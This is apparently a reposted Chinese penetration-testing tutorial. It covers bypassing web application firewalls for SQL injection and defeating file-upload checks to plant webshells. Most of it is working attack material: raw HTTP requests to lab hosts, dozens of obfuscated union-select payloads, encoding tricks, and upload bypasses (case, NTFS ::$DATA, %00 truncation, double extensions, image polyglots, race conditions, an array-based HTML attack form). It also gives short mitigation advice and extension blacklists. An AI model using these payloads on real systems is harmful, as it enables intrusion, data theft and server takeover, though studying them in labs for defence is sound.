User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type:application/json
Content-Length: 38
Origin: http://192.168.0.115
Connection: close
Referer: http://192.168.0.115/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID=e6sa76lft65q3fd25bilbc49v3; security_level=0
Upgrade-Insecure-Requests: 1
{'id':1 union select 1,2,3,'submit':1}

运行大量字符绕过

可以使用 select 0xA 运行一些字符从绕突破一些 waf 拦截
id=1 and (select 1)=(select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)/*!unio
n*//*!select*/1,user()
post 编码
1+and+(select+1)%3d(select+0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAA)/*!union*//*!select*/1,user()&submit=1
POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.0.165
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
Origin: http://192.168.0.165
Connection: close
Referer: http://192.168.0.165/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID=hk8r159en71pndlu3jvvphenn5
Upgrade-Insecure-Requests: 1
id=1+and+(select+1)and+(select+0xA*1000)/*!union*//*!select*/+1,user()--+&submit=%E6%9F%A5%E8%AF
%A2

花扩号绕过

select 1,2 union select{x 1},user()
花括号 左边是注释的内容 这样可以一些 waf 的拦截

使用 ALL 或者 DISTINCT 绕过

去掉重复值
select 1,2 from users where user_id=1 union DISTINCT select 1,2
select 1,2 from users where user_id=1 union select DISTINCT 1,2
显示全部
select 1,2 from users where user_id=1 union all select 1,2
select 1,2 from users where user_id=1 union select all 1,2

换行混绕绕过

目前很多 waf 都会对 union select 进行过滤的 因为使用联合查询 这两个关键词
是必须的,一般过滤这个两个字符 想用联合查询就很难了。
可以使用换行 加上一些注释符进行绕过。

换行注释

url编码

编码绕过

原理:形式:“%”加上 ASCII 码(先将字符转换为两位 ASCII 码,再转为 16 进
制),其中加号“+”在 URL 编码中和“%20”表示一样,均为空格。
当遇到非 ASCII 码表示的字符时,如中文,浏览器或通过编写 URLEncode,根
据 UTF-8、GBK 等编码 16 进制形式,进行转换。如“春”的 UTF-8 编码为 E6 98
A5,因此其在支持 UTF-8 的情况下,URL 编码为%E6%98%A5。值得注意的是
采取不同的中文编码,会有不同的 URL 编码。在 URL 传递到后台时,首先 web 容器会自动先对 URL 进行解析。容器解码时,会根据设置(如 jsp 中,会使用 request.setCharacterEncoding("UTF-8")),采用
UTF-8 或 GBK 等其中一种编码进行解析。这时,程序无需自己再次解码,便可
以获取参数(如使用 request.getParameter(paramName))。
但是,有时从客户端提交的 URL 无法确定是何种编码,如果服务器选择的编码
方式不匹配,则会造成中文乱码。为了解决这个问题,便出现了二次 URLEncode
的 方 法 。 在 客 户 端 对 URL 进 行 两 次 URLEncode , 这 样 类 似 上 文 提 到
的%E6%98%A5 则会编码为%25e6%2598%25a5,为纯 ASCII 码。Web 容器在接
到 URL 后,自动解析一次,因为不管容器使用何种编码进行解析,都支持 ASCII
码,不会出错。然后在通过编写程序对容器解析后的参数进行解码,便可正确得
到参数。在这里,客户端的第一次编码,以及服务端的第二次解码,均是由程序
员自己设定的,是可控的,可知的。绕过:
有些 waf 并未对参数进行解码,而后面程序处理业务时会进行解码,因此可以通
过二次 url 编码绕过。例如

除了可以把全部字符转换也可以单独转换字符

image-20221005131717463

HTTP 数据编码绕过

编码绕过在绕 waf 中也是经常遇到的,通常 waf 只坚持他所识别的编码,比如说
它只识别 utf-8 的字符,但是服务器可以识别比 utf-8 更多的编码。

那么我们只需要将 payload 按照 waf 识别不了但是服务器可以解析识别的编码格
式即可绕过。

比如请求包中我们可以更改Content-Type中的charset的参数值,我们改为ibm037这个协议编码,有些服务器是支持的。payload 改成这个协议格式就行了。

POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.0.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101
Firefox/88.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;charset:ibm037
Content-Length: 33
Connection: close
Cookie: PHPSESSID=e6sa76lft65q3fd25bilbc49v3; security_level=0
Upgrade-Insecure-Requests: 1
%89%84=%F1&%A2%A4%82%94%89%A3=%F1
透过 Content-Type 的 charset 绕过 waf#
未编码
id=123&pass=pass%3d1
透过 IBM037 编码
%89%84=%F1%F2%F3&%97%81%A2%A2=%97%81%A2%A2~%F1
在提交的 http header
Content-Type: application/x-www-form-urlencoded; charset=ibm037
import urllib.parse
s = 'id=-1 union select 1,user()-- &submit=1'
ens=urllib.parse.quote(s.encode('ibm037'))
print(ens)

url 编码绕过

在 iis 里会自动把 url 编码转换成字符串传到程序中执行。
例如 union select 可以转换成 u%6eion s%65lect

POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.0.165
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101
Firefox/88.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Origin: http://192.168.0.165
Connection: close
Referer: http://192.168.0.165/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID=hk8r159en71pndlu3jvvphenn5
Upgrade-Insecure-Requests: 1
id=-1 union%25OAselect%25OA1,user()-- &submit=1

Unicode 编码绕过

形式:“\u”或者是“%u”加上 4 位 16 进制 Unicode 码值。
iis 会自动进行识别这种编码 有部分 waf 并不会拦截这这种编码
-1 union select 1,user()
部分转码
-1 uni%u006fn sel%u0065ct 1,user()
全部转码
%u002d%u0031%u0020%u0075%u006e%u0069%u006f%u006e%u0020%u0073%u
0065%u006c%u0065%u0063%u0074%u0020%u0031%u002c%u0075%u0073%u00
65%u0072%u0028%u0029

union select 绕过

目前不少 waf 都会使用都会对 union select 进行拦截 单个不拦截 一起就进行拦
截。
针对单个关键词绕过
sel<>ect 程序过滤<>为空 脚本处理
sele/**/ct 程序过滤/**/为空
/*!%53eLEct*/ url 编码与内联注释
se%0blect 使用空格绕过
sele%ct 使用百分号绕过
%53eLEct 编码绕过
大小写
uNIoN sELecT 1,2
union all select 1,2
union DISTINCT select 1,2
null+UNION+SELECT+1,2
/*!union*//*!select*/1,2
union/**/select/**/1,2
and(select 1)=(Select 0xA*1000)/*!uNIOn*//*!SeLECt*/ 1,user()
/*!50000union*//*!50000select*/1,2
/*!40000union*//*!40000select*/1,2
%0aunion%0aselect 1,2
%250aunion%250aselect 1,2%09union%09select 1,2
%0caunion%0cselect 1,2
%0daunion%0dselect 1,2
%0baunion%0bselect 1,2
%0d%0aunion%0d%0aselect 1,2
--+%0d%0aunion--+%0d%0aselect--+%0d%0a1,--+%0d%0a2
/*!12345union*//*!12345select*/1,2;
/*中文*/union/*中文*/select/*中文*/1,2;
/* */union/* */select/ */1,2;
/*!union*//*!00000all*//*!00000select*/1,2

文件上传漏洞

描述
文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的
用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。如常见的头像
上传,图片上传,oa 办公文件上传,媒体上传,允许用户上传文件,如果过滤
不严格,恶意用户利用文件上传漏洞,上传有害的可以执行脚本文件到服务器中,
可以获取服务器的权限,或进一步危害服务器。
2.2. 危害
非法用户可以上传的恶意文件控制整个网站,甚至是控制服务器,这个恶意脚本
文件,又被称为 webshell,上传 webshell 后门 很方便地查看服务器信息,查看
目录,执行系统命令等。
2.3. 有关文件上传的知识
文件上传的过程
客户端 选择发送的文件->服务器接收->网站程序判断->临时文件->移动到指定
的路径
服务器 接收的资源程序
服务器接收资源代码
upload.php

<?php
    if ($_FILES["file"]["error"] > 0)
    {
    echo "Error: " . $_FILES["file"]["error"] . "<br />";
    
}
else
    {
        echo "Upload: " . $_FILES["file"]["name"] . "<br />";
        echo "Type: " . $_FILES["file"]["type"] . "<br />";
        echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
        echo "Stored in: " . $_FILES["file"]["tmp_name"];
    }
?>
客户端文件上传的代码
upload.html
<html>
    <head></head>
        <body>
        <form action="upload.php" method="post" enctype="multipart/form-data">
        <label for="file">Filename:</label>
        <input type="file" name="file" id="file" />
        <br />
        <input type="submit" name="submit" value="Submit" />
        </form>
    </body>
</html>
文件上传代码
文件上传时会返回一些代码 返回客户端 客户端根据这些值判断上传是否正常
 值:0; 没有错误发生,文件上传成功。
 值:1; 上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。
 值:2; 上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定
的值。
 值:3; 文件只有部分被上传。
 值:4; 没有文件被上传。
文件上传漏洞
文件上传漏洞分为 直接文件上传,这种漏洞类型是属于高危漏洞的一种,能直
接 getshell,而且没有任何限制,攻击者很容易通过上传点,获取网站的控制权
限,另外一种是有条件的上传漏洞,这种漏洞一般是开发者经验不足,对文件上
传做了简单的限制,如简单的前端认证,文件头文件检测,这种检测行为,可以
完全绕过的,另外一个方面就是权限认证没处理,没有对文件上传页面进行权限
认证,匿名者就能访问上传文件,上传网页后门到网站目录,控制整个网站,还
有一些上传逻辑有问题,导致文件上传可以被绕过,上传后门到网站上。有的文
件上传漏洞则是通过中间件或者系统特性上传可以被服务器解析脚本文件,从而
导致网站可被控制。
文件上传漏洞的修复方案
 在网站中需要存在上传模块,需要做好权限认证,不能让匿名用户可访问。
 文件上传目录设置为禁止脚本文件执行。这样设置即使被上传后门的动态脚
本也不能解析,导致攻击者放弃这个攻击途径。
 设置上传白名单,白名单只允许图片上传如,jpg png gif 其他文件均不允许
上传
 上传的后缀名,一定要设置成图片格式如 jpg png gif
寻找测试网站的文件上传的模块,常见 头像上传,修改上传,文件编辑器中文
件上传,图片上传、媒体上传等,通过抓包上传恶意的文件进行测试,上传后缀
名 asp php aspx 等的动态语言脚本,查看上传时的返回信息,判断是否能直接上
传,如果不能直接上传,再进行测试上传突破,例如上传文件的时候只允许图片
格式的后缀,但是修改文件时,却没有限制后缀名,图片文件可以修改成动态语
言格式如 php,则可能访问这个文件的 URL 直接 getshell,可以控制网站。

常见的网站文件后缀名

asp
asa
cdx
cer
php
aspx
ashx
jsp
php3
php.a
shtml
phtml
有些网站会对 asp 或者 php 进行过滤转成空可用这些后缀名。
aspasp asaspp
phpphp

任意文件上传漏洞

任意文件上传漏洞又名文件直接上传漏洞 这种漏洞危害极大,如果攻击者能直
接上传恶意脚本到网站存放的目录,且这个目录可解析动态脚本语言,那么攻击
者就能够直接获取网站权限,甚至进一步权限提升,控制服务器。

任意文件上传代码分析

直接获取文件名 把上传的临时文件移动到 hackable/uploads 目录下


直接上传文件 网页会返回路径 访问 url 即可 getshell

http://192.168.126.129/01/hackable/uploads/s.php

image-20221005145112899

绕过前端 js 检测上传

在文件上传时,用户选择文件时,或者提交时,有些网站会对前端文件名进行验
证,一般检测后缀名,是否为上传的格式。如果上传的格式不对,则弹出提示文
字。此时数据包并没有提交到服务器,只是在客户端通过 js 文件进行校验,验
证不通过则不会提交到服务器进行处理。

绕过 js 检测方法

按 F12 使用网页审计元素,把校验的上传文件后缀名文件删除,即可上传。
 把恶意文件改成 js 允许上传的文件后缀,如 jpg、gif、png 等,再通过抓包
工具抓取 post 的数据包,把后缀名改成可执行的脚本后缀如 php 、asp、jsp、
net 等。即可绕过上传。
删除 js 文件

image-20221005145136576

抓包修改后缀名

image-20221005145208306

前端 js 检测后缀代码分析

客户段 html 上传文件时会调用 checkFile 函数,首先获取文件后缀名。如果文件
为空,则弹出“请选择要上传的文件”,如果文件不为空,获取上传的文件后缀
名不 .jpg、.png 、.gif 其中一种则提示“改文件不允许上传”,上传失败。

image-20221005150731658

绕过 contnet-type 检测上传

有些上传模块,会对 http 的类型头进行检测,如果是图片类型,允许上传文件到
服务器,否则返回上传失败。因为服务端是通过 content-type 判断类型,
content-type 在客户端可被修改。则此文件上传也有可能被绕过的风险。

分析 content-type 漏洞代码

首先进行 submit 提交判断,再检测文件类型如果是 image/jpeg 或者 image/png
即允许上传。

image-20221005151029542

content-type 检测上传攻击

上传文件,脚本文件,抓包把 content-type 修改成 image/jpeg 即可绕过上传。
https://www.runoob.com/http/http-content-type.html

image-20221005151720274

修改后 Content-Type: image/jpeg

绕过黑名单上传

上传模块,有时候会写成黑名单限制,在上传文件的时获取后缀名,再把后缀名
与程序中黑名单进行检测,如果后缀名在黑名单的列表内,文件将禁止文件上传。

黑名单代码分析

首先是检测 submit 是否有值,获取文件的后缀名,进行黑名单对比,后缀名不
在黑名单内,允许上传。

image-20221005152001602

绕过黑名单上传的攻击

上传图片时,如果提示不允许 php、asp 这种信息提示,可判断为黑名单限制,

上传黑名单以外的后缀名即可。
在 iis 里 asp 禁止上传了,可以上传 asa cer cdx 这些后缀,如在网站里允许.net
执行 可以上传 ashx 代替 aspx。如果网站可以执行这些脚本,通过上传后门即可
获取 webshell。
在不同的中间件中有特殊的情况,如果在 apache 可以开启 application/x-httpd-php
在 AddType application/x-httpd-php .php .phtml .php3
后缀名为 phtml 、php3 均被解析成 php 有的 apache 版本默认就会开启。
上传目标中间件可支持的环境的语言脚本即可,如.phtml、php3。

htaccess 重写解析绕过上传

上传模块,黑名单过滤了所有的能执行的后缀名,如果允许上传.htaccess。htaccess
文件的作用是 可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定
义错误页面、改变你的文件扩展名、封禁特定 IP 地址的用户、只允许特定 IP 地
址的用户、禁止目录列表,以及使用其他文件作为 index 文件等一些功能。
在 htaccess 里写入 SetHandler application/x-httpd-php 则可以文件重写成 php 文
件。要 htaccess 的规则生效 则需要在 apache 开启 rewrite 重写模块,因为 apache是多数都开启这个模块,所以规则一般都生效。

image-20221005154430711

黑名单上传代码分析

如果 submit 有值,$deny_ext =
array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".
pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jsp
a",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHt
ml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",
".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
上传的文件后缀名在列表内禁止上传。包括了所有的执行脚本。

大小写绕过上传

有的上传模块 后缀名采用黑名单判断,但是没有对后缀名的大小写进行严格判
断,导致可以更改后缀大小写可以被绕过。如 PHP、 Php、 phP、pHp

. 黑名单大小写绕过代码分析

获取文件后缀名进行判断,如果后缀在这个字典里就禁止上传。
$deny_ext =
array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".
pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw
",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".asp
x",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",
".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

黑名单大小写绕过攻击

仔细阅读黑名单,查看是否有被忽略的后缀名,当前可以使用 phP 绕过

检测 submit 后 上传目录存在时,进入黑名单判断。如果文件后缀名在黑名单里。
不允许上传,但是文件后缀名,没有过滤空格,可以添加空格绕过。

空格绕过上传攻击

image-20221005170027448

利用 windows 系统特征绕过上传

在 windows 中文件后缀名. 系统会自动忽略.所以 shell.php. 像 shell.php 的效果一
样。所以可以在文件名后面机上.绕过。

windows 系统特征绕过漏洞分析源码

image-20221005190049448

windows 系统特征绕过攻击

抓包修改在后缀名后加上.即可绕过

image-20221005190138716

NTFS 交换数据流::$DATA 绕过上传

如果后缀名没有对::$DATA 进行判断,利用 windows 系统 NTFS 特征可以绕过上
传。

NTFS 交换数据流::$DATA 代码分析

image-20221005190352110

同样用黑名单过滤后缀名。但是程序中没有对::$DATA 进行过滤可以添
加::$DATA 绕过上传。

NTFS 交换数据流::$DATA 攻击绕过上传

burpsuite 抓包,修改后缀名为 php::$DATA

利用 windows 环境的叠加特征绕过上传

在 windwos 中如果上传文件名 moonsec.php:.jpg 的时候,会在目录下生产空白的
文件名 moonsec.php
再利用 php 和 windows 环境的叠加属性,
以下符号在正则匹配时相等
双引号" 等于 点号. 大于符号> 等于 问号?
小于符号< 等于 星号*
文件名.<或文件名.<<<或文件名.>>>或文件名.>><空文件名

黑名单源码分析

同样是黑名单匹配,把.去掉 把空格也过滤了。::$data 也过滤了。

利用 windows 环境的叠加特征绕过上传攻击

首先抓包上传 a.php:.php 上传会在目录里生成 a.php 空白文件,接着再次提交把
a.php 改成 a.>>>

image-20221005192554374

双写后缀名绕过上传

在上传模块,有的代码会把黑名单的后缀名替换成空,例如 a.php 会把 php 替换
成空,但是可以使用双写绕过例如 asaspp,pphphp,即可绕过上传

文件上传双写绕过漏洞分析

image-20221005192755122

同样是黑名单过滤。str_ireplace 对上传的后缀名是黑名单内的字符串转换成空。

文件上传双写绕过攻击

抓包上传,把后缀名改成 pphphp 即可绕过上传

目录可控%00 截断绕过上传

以上都是一些黑名单被绕过的,如果黑名单上传检测后,没有限定后缀名,绕过
的方法很多,与黑名单相对的就是白名单,使用白名单验证会相对比较安全,因
为只允许指定的文件后缀名。但是如果有可控的参数目录,也存在被绕过的风险。

上传参数目录可控代码分析

image-20221005193347271

代码中使用白名单限制上传的文件后缀名,只允许指定的图片格式。但是
$_GET['save_path']服务器接受客户端的值,这个值可被客户端修改。所以会留下
安全问题

文件上传参数目录可控攻击

上传参数可控
 当 gpc 关闭的情况下,可以用%00 对目录或者文件名进行截断。
 php 版本小于 5.3.4
首先截断攻击,抓包上传将%00 自动截断后门内容。
例如 1.php%00.1.jpg 变成 1.php

上传参数可控
 当 gpc 关闭的情况下,可以用%00 对目录或者文件名进行截断。
 php 版本小于 5.3.4
首先截断攻击,抓包上传将%00 自动截断后门内容。
例如 1.php%00.1.jpg 变成 1.php

目录可控 post 上传代码分析

这段代码同样是白名单限制后缀名,$_POST['save_path']是接收客户端提交的值,
客户端可任意修改。所以会产生安全漏洞。

目录可控上传攻击

文件名可控,通过抓包修改可控的参数,与不同的中间件的缺陷配合使用。
 使用%00 截断文件名 再 post 环境下%00 要经过 decode 但是受 gpc 限制
使用 burpsutie POST %00 截断文件名

文件头检测绕过上传

有的文件上传,上传时候会检测头文件,不同的文件,头文件也不尽相同。常见
的文件上传图片头检测 它检测图片是两个字节的长度,如果不是图片的格式,
会禁止上传。
常见的文件头
 JPEG (jpg),文件头:FFD8FF
 PNG (png),文件头:89504E47
 GIF (gif),文件头:47494638
 TIFF (tif),文件头:49492A00
 Windows Bitmap (bmp),文件头:424D

文件头检测上传代码分析

getReailFileType 是检测 jpg、png、gif 的文件头

image-20221005195709790

image-20221005195719329

如果上传的文件符合数字即可通过检测

文件头检测绕过传攻击方法

1.制作图片一句话,使用 copy 1.gif/b+moon.php shell.php 将 php 文件附加再 jpg
图片上,直接上传即可。

本例子因为限制了后缀为 jpg,可以考虑文件包含将图片文件包含进去 getshell

burpsuite 上传的数据包头加上 GIF89a

图片检测函数绕过上传

image-20221005204954996

getimagesize 是获取图片的大小,如果头文件不是图片会报错直接可以用图片马

再用文件包含漏洞引入 jpeg 图片即可 getshell

绕过图片二次渲染上传

有些图片上传,会对上传的图片进行二次渲染后在保存,体积可能会更小,图片
会模糊一些,但是符合网站的需求。例如新闻图片封面等可能需要二次渲染,因
为原图片占用的体积更大。访问的人数太多时候会占用,很大带宽。二次渲染后
的图片内容会减少,如果里面包含后门代码,可能会被省略。导致上传的图片马,
恶意代码被清除。

. 图片二次渲染分析代码

image-20221005205124679

image-20221005205151429

只允许上传 JPG PNG gif 在源码中使用 imagecreatefromgif 函数对图片进行二次
生成。生成的图片保存在,upload 目录下。

绕过图片二次渲染攻击。

首先判断图片是否允许上传 gif,gif 图片在二次渲染后,与原图片差别不会太大。
所以二次渲染攻击最好用 git 图片马

制作图片马
将原图片上传,下载渲染后的图片进行对比,找相同处,覆盖字符串,填写一句
话后门,或者恶意指令。

原图片与渲染后的图片这个位置的字符串没有改变所在原图片这里替换成直接上传即可

文件上传条件竞争漏洞绕过

在文件上传时,如果逻辑不对,会造成很大危害,例如文件上传时,用
move_uploaded_file 把上传的临时文件移动到指定目录,接着再用 rename 文件
设置为图片格式,如果在 rename 之前 move_uploaded_file 这个步骤 如果这个文
件可被客户端访问,这样我们也可以获取一个 webshell。

文件上传条件竞争源码分析

image-20221005205632240

采用白名单上传,$upload_file = UPLOAD_PATH . '/' . $file_name; 设置上传路径,
后缀名没有限定为图片类型,接着 move_uploaded_file($temp_file, $upload_file)
将图片移动指定的目录,接着使用 rename 重名为图片类型。在重名之前如果被
浏览器访问,可以得到一个 webshell。

文件上传条件竞争攻击方法

上传 php 后门脚本,上传之后用 burpsutie 设置访问,线程建议体提高一些。
抓包上传 php 文件 设置变量不停的提交这包

image-20221005205851645

需要知道 php 的访问路径,抓包 不停的提交访问。
首先提交访问上传后的 php 路径 第二提交上传的文件的数据包即可。

文件名可控绕过上传

文件上传时,文件名的可被客户端修改控制,会导致漏洞产生

文件名控代码分析

image-20221005210854836

采用黑名单限制上传文件,但是 $_POST['save_name']文件是可控的,可被客户端
任意修改,造成安全漏洞

文件名控可控攻击方法

文件名攻击的方法主要有两种
1.上传文件,文件吗采用%00 截断,抓包解码例如 moon.php%00.php 截断后
moon.php 或者使用/.
2.与中间的漏洞配合使用 例如 iis6.0 上传 1.php;1.jpg apache 上传 1.php.a 也
能解析文件 a.asp;1.jpg 解析成 asp
%00 截断 需要 gpc 关闭 抓包 解码 提交即可 截断文件名 php 版本小于 5.3.4

数组绕过上传

有的文件上传,如果支持数组上传或者数组命名。如果逻辑写的有问题会造成安
全隐患,导致不可预期的上传。这种上传攻击,它是属于攻击者白盒审计后发现
的漏洞居多

数组绕过代码分析

image-20221005211132658

首先检测文件类型,看到可控参数 save_name 如果不是数组如果后缀名不是图
片禁止上传。
如果是数组绕过图片类型检测 接着处理数组。
首先 一个例子的处理。
<?php
$file= $_GET['save_name'];
echo $file_name = reset($file) . '.' . $file[count($file) - 1];
?>
如果是两个参数 拼接字符串是 xx.php/.png
如果下表是 1 为正常图片上传,如果下大于 1 拼接字符串 xx.php/. 在
move_uploaded_file()函数中 /.会自动忽略 所以可以移动到指定目录。

数组绕过攻击方法

构造上传表单,设置数组上传。从代码中,可以知道第二个数组必须大于 1 即可
第二个数组的值就获取不了,字符串拼接起来就是 moon.php/. 就能上传
moon.php
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title></title>
    </head>
    <body>
        <form enctype="multipart/form-data" method="post"
            action="http://192.168.0.178/Pass-20/index.php">
            <p>请选择要上传的图片:<p>
            <input class="input_file" type="file" name="upload_file"/>
            <p>保存名称:<p>
            <input class="input_text" type="text" name="save_name[0]"
            value="moon.php/" /><br/>
            <input class="input_text" type="text" name="save_name[3]"
            value="jpg" /><br/>
            <input class="button" type="submit" name="submit" value="上传"/>
        </form>
    </body>
</html>

文件上传其他漏洞

nginx 0.83 /1.jpg%00php
apahce 1x 或者 2x
当 apache 遇见不认识的后缀名,会从后向前解析例如 1.php.rar 不认识 rar 就向
前解析,直到知道它认识的后缀名。
phpcgi 漏洞(nginx iis7 或者以上) 上传图片后 1.jpg。访问 1.jpg/1.php 也会解析成
php。
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
apache 通过 mod_php 来运行脚本,其 2.4.0-2.4.29 中存在 apache 换行解析漏洞,
在解析 php 时 xxx.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的
安全策略。

文件上传漏洞通用检测方法

.php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini
文件上传的防御方法
服务器端使用白名单防御,修复 web 中间件的漏洞,禁止客户端存在可控参
数,存放文件目录禁止脚本执行,限制后缀名 一定要设置图片格式 jpg、gif 、
png 文件名随机的,不可预测

SAP-Garson
原文链接:https://www.cnblogs.com/abldh12/p/16756465.html

文章来自于网络,如果侵犯了您的权益,请联系站长删除!

上一篇:NOIP 信息学 奥赛 考纲 考点 模板 裸题 水题
下一篇:尝试移植标准库的fsmc驱动lcd到HAL驱动(完成)
评论列表

发表评论

评论内容
昵称:
关联文章

渗透测试
渗透测试面试总结
渗透测试工具篇——Hydra
渗透测试工具篇——Hydra
渗透测试-注入攻击专题
渗透测试常见开放端口及利用
渗透测试】VulnHub-GoldenEye-1
常见的端口及利用(渗透测试
渗透测试】常用工具总结
渗透测试之信息收集(二)
内网渗透TIPS
Metasploit+渗透测试手册第三版+第二章+信息收集与扫描(翻译)
渗透测试(一)
常用的渗透测试工具——SQLMap安装
DC-1 靶机渗透
48.网络安全渗透测试—[穷举篇11]—[webshell密码破解(asp/aspx/php)]
Python自动化测试详解
开源黑盒测试工具
Mutillidae品台上使用sqlmap注入测试
自动化测试必备技能

热门标签
CBP 问题处理 # ALV # 【SAP | 前世今生】 # 1.moonsec-2020-[持续更新] # ABAP # ABAP-接口 # abap学习路线 # ALV # AVRCP协议 # bdc # BMS项目实战记录 # BW # ClickHouse # crud 框架 (mybatis-plus/ jpa等) # dynpro # ERP # JCo3.0 # PyRFC # Python数据分析与机器学习 # SAP ABAP # SAP FICO # SAP FTP # SAP HANA # SAP MM # SAP-Restful # SAP消息号A类 # sap应用技巧 # 工具使用 # 数据库 # 网安神器篇 # 优化篇 # 语法 # 筑基08:渗透测试综合实验 (path.Combinee(rootDir, "nwrfcsdk", "icuuc50")) ,ides .NET .NET 6 .NET Core .NET Remoting和WebServices .net(C#) .NET/C# .netcore .NET技术 .NET连接SAP .UD选择集 /h /ui2/cl_json @click.prevent _E8_AE_BA_E6_96_87 ~ { ABAP} ~ ~{一起学ABAP}~ “SAP.Middleware.Connector.RfcConfigParameters”的类型初 《ABAP专栏》 《SAP ABAP基础通关百宝书》【从入门到精通】 《测绘程序设计精品案例合集》 《计算机网络自顶向下方法》学习笔记 【Azure 应用服务】 【SAP】ABAP-CDSVIEW 【速成之路】SQLserver 0.0-SAP BW学习 001-计算机基础 01检验类型 1 10.Abap 10.ABAP-CTS 102 1024程序员节 103 1155服务器装系统 12.SAP-SKILL 122 13台根服务器位置 15行 1809 1909 1核1g1m服务器相当于什么性能 2003服务器修改ftp密码 2010 2012服务器系统安装数据库 2012服务器系统安装数据库吗 2018年终总结 2019 2019java专科 2019年终总结之SAP项目实践篇 2022跨年烟花代码 2022年 2023云数据库技术沙龙 2023云数据库技术沙龙 “MySQL x ClickHouse” 专场 2-step picking 2-step拣配 2月一次的flyback 321 32位服务器系统安装教程 3D 40 408 408——计算机网络 408学习笔记 40位 478g+ 虚拟服务器 4hana 545移动类型 5G 6.824 60.技术开发 6------SAP 701 711 740新语法 7------SAP A a2dp AA AB01 ABAP ABAP 语法 ABAP AES加密解密 ABAP ALV abap alv 更改数据 abap alv新增行数据 ABAP AMDP abap bapi ABAP BAPI分享 ABAP BASE64加解密 ABAP BC400 ABAP CDS ABAP checkbox ABAP Dialog开发 ABAP DOI ABAP EXCEL ABAP Expression ABAP GUID ABAP Handy program abap hr ABAP IDOC abap java ABAP JSON ABAP JSON大小写 ABAP JSON驼峰 abap me21n增强 abap mm后台表 ABAP Modify 的用法 ABAP New ABAP REST API ABAP REST JSON ABAP RSA PSE ABAP RSA 加密解密 ABAP SAP ABAP SESSION传递 ABAP SMARTFORMS 默认 WORD 编辑 ABAP Table ABAP Toolbar ABAP tools ABAP wait abap xml 日期格式 ABAP 报错 ABAP 笔记 ABAP 常见错误 ABAP 程序开发 abap 程序模板 ABAP 初级技术 abap 创建出口历程 abap 调用java abap 发送json报文 ABAP 关键字 ABAP 基础知识 ABAP 技巧 ABAP 接口 ABAP 开发 ABAP 乱乱记 ABAP 内表 ABAP 内表 排序 abap 内表 条件查找 ABAP 配置相关 ABAP 批量创建货源清单 ABAP 屏幕开发激活显示 ABAP 人事模块 abap 上传excel数字去除千分符 ABAP 实用程序记录 ABAP 事务代码 ABAP 数据字典 ABAP 替换 ABAP 替换字符 ABAP 条件断点 DEBUG ABAP 未按大小排序 ABAP 销售模块 ABAP 新语法 ABAP 选择屏幕 ABAP 学习 